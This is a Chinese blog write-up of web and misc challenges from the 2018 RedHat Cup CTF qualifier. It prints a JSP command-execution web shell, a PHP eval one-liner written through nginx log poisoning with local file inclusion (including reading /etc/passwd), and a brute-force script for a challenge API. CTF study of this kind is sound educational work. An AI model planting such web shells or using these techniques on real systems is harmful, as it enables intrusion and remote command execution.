第二届红帽杯线上初赛 RedHat 2018 WriteUp

原创

郁离歌 于 2018-05-02 22:00:45 发布 5087 收藏 3
分类专栏： CTF-WRITE-UP 文章标签： 2018redhat writeup ctf学习

又是一个划水的比赛，作看高中生吊打全场orz，太强了。

WEB

simple upload

进入一个登陆页面，抓包之后发现cookie有admin=0

改成1之后进入了一个上传页面，获取指纹之后，明显是Apache Tomcat，传一个一句话asp马过去试试。上传yulige.jsp.jpg

```
<%
    if("023".equals(request.getParameter("pwd"))){
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream()
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre>");
        while((a=in.read(b))!=-1){
            out.println(new String(b));
        }
        out.print("</pre>");
    }
%>
```

抓包，然后把.jpg去掉，发现成功上传。

然后蚁剑连接。在根目录下拿到flag。

```
flag{20c9076c-b3b3-4f33-b75e-12040779ee19}
```

shopping log

进去页面之后查看源代码，发现指向了**tmvb.com**，跳转到那个页面之后发现是域名出售，社工一波发现什么都没有。
后来放出hint，只在本服务器上。
那么就是改host了。
但是把host改为**tmvb.com**之后还是不对，这尼玛就很迷了，之后才想到加www...（我tm）
然后再根据提示改referer：www.dww.com
然后改language：ja
最后进到一个购物信息查询的界面，substr取6位的验证码(这是故意拖时间的吧)。

抓包找到json返回的api之后就直接写脚本开始爆破：

蠢逼的从0000开始，然后爆了半天，hint说不要从0000开始，我就脑洞大开的又开了个进程从9999倒回去爆，结果9588爆到结果。

贴一下小jio本：

```
#coding = utf-8
import requests
import re
import random
import threading
import hashlib

url='http://123.59.141.153/5a560e50e61b552d34480017c7877467info.php'
urlapi='http://123.59.141.153/api.php?action=report'
def get_result(code):
   dic = "abcdefghijklmnopqrstuvwxyz0123456789"
while True:
      result = ''
result += random.choice(dic)
      result += random.choice(dic)
      result += random.choice(dic)
      result += random.choice(dic)
      result += random.choice(dic)
      result += random.choice(dic)
      result += random.choice(dic)
      result += random.choice(dic)
      m = hashlib.md5(result)
      m = m.hexdigest()
      if m[0:6] == code:
         print result
         break
def jb():
      for a in range(9, 0, -1):
         for b in range(9, 0, -1):
            for c in range(9, 0, -1):
               for d in range(9, 0, -1):
                  headers = {'Host': 'www.tmvb.com',
                        'referer': 'www.dww.com',
```

```
                    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0',
                    'Accept-Language': 'ja',
                    'Cookie': 'PHPSESSID=ke8v02bu6kcrmpp10s3v7t75m2'
}
            r = requests.get(url, headers=headers).content
            #print r
pattern = "=== '(.*?)'</p>"
code = re.findall(pattern, r)[0]
            print code
            code_r = get_result(code)
            id = str(str(a) + str(b) + str(c) + str(d))
            print id
            res = {'TxtTid': str(id), 'code': str(code_r)}
            s = requests.post(urlapi, data=res, headers=headers).content
            if '"error":1' not in s:
                print s
if __name__ == "__main__":
    jb()
```

flag{hong_mao_ctf_hajimaruyo}

biubiubiu

打开之后发现是个登陆页面，观察url似乎是文件读取，测试发现是文件包含

?page=../../../../../etc/passwd

然后读/etc/nginx

再读access.log和error.log，发现可以利用文件包含日志文件再利用nigx解析漏洞getshell。

参考文章：

《一个任意文件读取漏洞分析》

《利用nginx日志结合本地包含漏洞GetShell》

其中下面这篇利用nginx日志结合本地包含漏洞GetShell的环境和题目一模一样，甚至还开放了access.log，更加容易污染日志了。

我们随便访问xxx.php<?php phpinfo();?>,查看error.log,再查看access.log。

发现部分被url编码

换用burpsuite写进去，发现成功弹phpinfo()。

那直接写马了，<?php @eval($_POST['cmd']);?>

成功写入，拿菜刀连接，发现不行，不知道为啥，似乎是被狗给拦了，换蚁剑连接。

然后找flag，发现web目录下没有

再找数据库。

拿到flag。

flag{dbc98dd7-90fb-44f4-8dbe-35a72f07ec9d}

ps：狗哥说预期解是ssrf，我连send.php都没看，这里贴一下大佬的预期解法：

《记一次利用gopher的内网mysql盲注》

MISC

Not Only Wireshark

打开之后随意点下导出http对象，发现有张hacker.png图片，然后后面的流就有点意思了。

看到了B03040A，马上反应过来，这是一个压缩包，作为宇宙第一头铁王，在下是手动提取的16进制数据，赛后看wp才学到tshark的用法：

> ***tshark -r x.pcapng -e http.request.uri -T fields -Y 'http.request.uri' | grep -P 'name=[A-F0-9]{3}' | awk -F '=' '{printf $2}'***

把前面的1234去掉，加上5.

打开发现是一个加密过的压缩包。密码是啥？

不管了，先爆破开起来。

然后...爆出来了！！！

然而，打开是**乱码**....妈耶woc白高兴一场，应该是偶然碰撞出来能解开压缩包密码的...

那么密码得到是啥，回到流量包，刚刚导出的http对象好像漏看了啥...

---

key=?id=1128%23　难道密码是？试了一下没有什么luan用...再试试**?id=1128%23**

卧槽还真的是！！！

拿到flag...（misc还是脑洞啊23333）

flag{1m_s0_ang4y_1s}

听说你们喜欢手工爆破

打开之后发现是一堆很迷的文件和一个叫情迷海边之城的加密压缩包

看了一下不是伪加密，打开一个文件看下,是base64加密，解密是

Th3r3 1s n0 f1ag

试一下看看是不是密码，发现并不是。

于是猜想，某个文件名就是压缩包密码，写脚本把文件名写进字典：

```
# -*- coding: utf-8 -*-
import os
names = os.listdir('/Users/Ledon/Desktop/misc_txt_file')
i=0
#i用于统计文件数量
f = open('password.txt','w')
for filename in names:
    index = filename.rfind('.')
#    print(index)
    name = filename[:index]
    f.write(name+'\n')
    i=i+1
print(i)
```

拿到字典之后，用arpr爆破。

拿到一个doc文件夹，发现还需要密码，在52破解上下载了一个word密码破解器

密码是5693，打开doc文件，发现：

一看就是剧情，我们搜一下情迷海边之城，发现又叫情迷曼彻斯特，那就是曼彻斯特编码了。

科普链接：

曼彻斯特编码(维基百科)

网上一搜，发现16年国赛有个差不多的，直接拿过来跑一下，发现并不对，再去维基百科里面看，有一个差分曼彻斯特，但是那个需要两个密文，应该还是曼彻斯特，又仔细看，曼彻斯特在电平调变这里是可以改变的。

把脚本的0和1换一下，跑出了符合ID：F5F507的值，拿到flag。

```
n=0x123654AAA678876303555111AAA77611A321
flag=''
bs='0'+bin(n)[2:]
r=''
def conv(s):
    return hex(int(s,2))[2:]
for i in range(0,len(bs),2):
        if bs[i:i+2]=='01':
            r+='0'
        else:
            r+='1'
for i in range(0,len(r),8):
    tmp=r[i:i+8][::-1]
    flag+=conv(tmp[:4])
    flag+=conv(tmp[4:])
print("flag"+"{"+flag.upper()+"}")
```

flag{5EFCF5F507AA5FAD77}

这是道web题？

拿到一个cms的源码，拿到之后就d盾查杀一下，发现一个大马：

并没有发生什么东西，下一个马：

好像有点hint，看到了tshark，那么是流量包？

搜一下文件后缀pcap

这么多流量包，怎么找呢？难道一个一个看，再仔细看这个hint，

I am a hacker from Georgia
关键在于Georgia，我们在流量包里搜Georgia
`78466550-3fc1-11e8-9828-32001505e920.pcapng`这个包中找到，并且上传了一个jpeg，把该jpeg提取出来。

666！！！

binwalk 分析发现里面还有一个gif，再次foremost提取，发现损坏了。

手动提取，jpg的文件尾是FFD9，gif文件头是47494638 ，用winhex搜索定位，手动提取

拿到一张sorry图片，不断念出类似于unicode的字符串。

> ***大佬：sorry***
> ***大佬：fla***
> ***大佬：Do you want flag?***
> ***大佬：g{S***
> ***大佬：022***
> ***小白：不存在的！***
> ***大佬：y4o***
> ***大佬：rr5***
> ***大佬：}Give Y0u***

flag{S02y4orr5}

问卷调查

flag{我们在广州塔等着你}

ps：这次比赛其实学了挺多东西的，本萌新第一次打进决赛，大佬们轻虐啊！

最后，各位，广州塔见！